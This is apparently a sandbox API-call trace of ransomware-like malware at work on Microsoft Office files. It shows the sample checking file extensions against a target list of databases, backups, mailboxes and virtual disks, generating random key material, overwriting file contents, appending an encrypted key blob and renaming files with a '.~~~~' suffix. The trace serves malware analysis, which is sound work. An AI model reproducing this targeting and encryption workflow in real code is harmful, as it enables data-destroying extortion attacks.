	[0134.563] lstrlenW (lpString=".BAK") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".BAK") returned 0x0
	[0134.563] lstrlenW (lpString=".BAC") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".BAC") returned 0x0
	[0134.563] lstrlenW (lpString=".dbs") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dbs") returned 0x0
	[0134.563] lstrlenW (lpString=".vhdx") returned 5
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".vhdx") returned 0x0
	[0134.563] lstrlenW (lpString=".NDF") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".NDF") returned 0x0
	[0134.563] lstrlenW (lpString=".dat") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dat") returned 0x0
	[0134.563] lstrlenW (lpString=".DBS") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DBS") returned 0x0
	[0134.563] lstrlenW (lpString=".CKP") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".CKP") returned 0x0
	[0134.564] lstrlenW (lpString=".edb") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".edb") returned 0x0
	[0134.564] lstrlenW (lpString=".PST") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".PST") returned 0x0
	[0134.564] lstrlenW (lpString=".dbf") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dbf") returned 0x0
	[0134.564] lstrlenW (lpString=".SQL") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".SQL") returned 0x0
	[0134.564] lstrlenW (lpString=".pst") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".pst") returned 0x0
	[0134.564] lstrlenW (lpString=".dbv") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dbv") returned 0x0
	[0134.564] lstrlenW (lpString=".SDF") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".SDF") returned 0x0
	[0134.564] lstrlenW (lpString=".dtxs") returned 5
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dtxs") returned 0x0
	[0134.564] lstrlenW (lpString=".db3") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".db3") returned 0x0
	[0134.564] lstrlenW (lpString=".OST") returned 4
	[0134.564] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".OST") returned 0x0
	[0134.565] lstrlenW (lpString=".dbx") returned 4
	[0134.565] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dbx") returned 0x0
	[0134.565] lstrlenW (lpString=".DB3") returned 4
	[0134.565] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DB3") returned 0x0
	[0134.565] lstrlenW (lpString=".DAT") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DAT") returned 0x0
	[0134.566] lstrlenW (lpString=".VHDX") returned 5
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".VHDX") returned 0x0
	[0134.566] lstrlenW (lpString=".ndf") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".ndf") returned 0x0
	[0134.566] lstrlenW (lpString=".DB") returned 3
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DB") returned 0x0
	[0134.566] lstrlenW (lpString=".sql") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".sql") returned 0x0
	[0134.566] lstrlenW (lpString=".MYD") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".MYD") returned 0x0
	[0134.566] lstrlenW (lpString=".DBT") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DBT") returned 0x0
	[0134.566] lstrlenW (lpString=".ACCDB") returned 6
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".ACCDB") returned 0x0
	[0134.566] lstrlenW (lpString=".fdb") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".fdb") returned 0x0
	[0134.566] lstrlenW (lpString=".bak") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".bak") returned 0x0
	[0134.566] lstrlenW (lpString=".myd") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".myd") returned 0x0
	[0134.566] lstrlenW (lpString=".DTXS") returned 5
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DTXS") returned 0x0
	[0134.566] lstrlenW (lpString=".ckp") returned 4
	[0134.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".ckp") returned 0x0
	[0134.566] lstrlenW (lpString=".dbt") returned 4
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dbt") returned 0x0
	[0134.567] lstrlenW (lpString=".db") returned 3
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".db") returned 0x0
	[0134.567] lstrlenW (lpString=".TXT") returned 4
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".TXT") returned 0x0
	[0134.567] lstrlenW (lpString=".MDF") returned 4
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".MDF") returned 0x0
	[0134.567] lstrlenW (lpString=".bdb") returned 4
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".bdb") returned 0x0
	[0134.567] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.567] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.567] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0d90) returned 1
	[0134.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.568] CryptReleaseContext (hProv=0x3a0d90, dwFlags=0x0) returned 1
	[0134.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.568] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25455858413) returned 1
	[0134.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9a67530, dwHighDateTime=0x1d60e1e)) 
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38ce70
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ce70 | out: hHeap=0x300000) returned 1
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.569] GetLastError () returned 0x0
	[0134.570] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.570] GetLastError () returned 0x0
	[0134.590] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.592] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.593] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.593] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.599] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.599] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.599] CloseHandle (hObject=0xc4) returned 1
	[0134.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0134.668] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.~~~~")) returned 1
	[0134.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4fe8 | out: hHeap=0x300000) returned 1
	[0134.670] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.670] GetLastError () returned 0x0
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.671] lstrlenW (lpString=".cmd") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.671] lstrlenW (lpString=".dll") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.671] lstrlenW (lpString=".bat") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.671] lstrlenW (lpString=".cpl") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.671] lstrlenW (lpString=".sys") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.671] lstrlenW (lpString=".msc") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.671] lstrlenW (lpString=".com") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".com") returned 0x0
	[0134.671] lstrlenW (lpString=".lnk") returned 4
	[0134.671] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.671] lstrlenW (lpString=".msp") returned 4
	[0134.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.672] lstrlenW (lpString=".pif") returned 4
	[0134.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.672] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.672] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0134.673] lstrlenW (lpString=".sqb") returned 4
	[0134.673] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.673] lstrlenW (lpString=".ost") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.674] lstrlenW (lpString=".txt") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.674] lstrlenW (lpString=".mdt") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.674] lstrlenW (lpString=".BDB") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.674] lstrlenW (lpString=".eql") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.674] lstrlenW (lpString=".DBF") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.674] lstrlenW (lpString=".EQL") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.674] lstrlenW (lpString=".FDB") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.674] lstrlenW (lpString=".EDB") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.674] lstrlenW (lpString=".DACPAC") returned 7
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.674] lstrlenW (lpString=".VHD") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.674] lstrlenW (lpString=".DBV") returned 4
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.674] lstrlenW (lpString=".dacpac") returned 7
	[0134.674] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.674] lstrlenW (lpString=".sdf") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.675] lstrlenW (lpString=".accdb") returned 6
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.675] lstrlenW (lpString=".DBX") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.675] lstrlenW (lpString=".MDT") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.675] lstrlenW (lpString=".SQB") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.675] lstrlenW (lpString=".vhd") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.675] lstrlenW (lpString=".bac") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.675] lstrlenW (lpString=".mdf") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.675] lstrlenW (lpString=".BAK") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.675] lstrlenW (lpString=".BAC") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.675] lstrlenW (lpString=".dbs") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.675] lstrlenW (lpString=".vhdx") returned 5
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.675] lstrlenW (lpString=".NDF") returned 4
	[0134.675] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.675] lstrlenW (lpString=".dat") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.676] lstrlenW (lpString=".DBS") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.676] lstrlenW (lpString=".CKP") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.676] lstrlenW (lpString=".edb") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.676] lstrlenW (lpString=".PST") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.676] lstrlenW (lpString=".dbf") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.676] lstrlenW (lpString=".SQL") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.676] lstrlenW (lpString=".pst") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.676] lstrlenW (lpString=".dbv") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.676] lstrlenW (lpString=".SDF") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.676] lstrlenW (lpString=".dtxs") returned 5
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.676] lstrlenW (lpString=".db3") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.676] lstrlenW (lpString=".OST") returned 4
	[0134.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.676] lstrlenW (lpString=".dbx") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.677] lstrlenW (lpString=".DB3") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.677] lstrlenW (lpString=".DAT") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.677] lstrlenW (lpString=".VHDX") returned 5
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.677] lstrlenW (lpString=".ndf") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.677] lstrlenW (lpString=".DB") returned 3
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.677] lstrlenW (lpString=".sql") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.677] lstrlenW (lpString=".MYD") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.677] lstrlenW (lpString=".DBT") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.677] lstrlenW (lpString=".ACCDB") returned 6
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.677] lstrlenW (lpString=".fdb") returned 4
	[0134.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.677] lstrlenW (lpString=".bak") returned 4
